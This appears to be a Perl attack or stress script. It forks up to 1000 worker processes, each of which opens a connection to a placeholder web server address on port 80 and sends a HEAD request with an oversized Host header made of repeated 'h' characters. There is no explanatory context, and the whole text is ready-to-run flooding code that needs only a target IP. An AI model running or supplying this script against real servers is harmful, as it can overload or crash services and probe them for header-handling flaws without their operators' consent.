use strict;
use warnings;
use Parallel::Prefork;
use IO::Socket::INET;

my $pm = Parallel::Prefork->new(
    {
        max_workers  => 1000,
        fork_delay   => 1,
        trap_signals => {
            TERM => 'TERM',
            HUP  => 'TERM',
            USR1 => undef,
        }
    }
);

while ($pm->signal_received ne 'TERM') {
    $pm->start and next;

    warn "START";
    my $sock = IO::Socket::INET->new(
        PeerAddr => 'XXX.XXX.XXX.XXX',
        PeerPort => '80',
    ) or die;

    print $sock <<'EOF';
HEAD / HTTP/1.0
Host: hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
EOF

    warn <$sock>;

    warn "FINISHED";

    $pm->finish;
}

$pm->wait_all_children();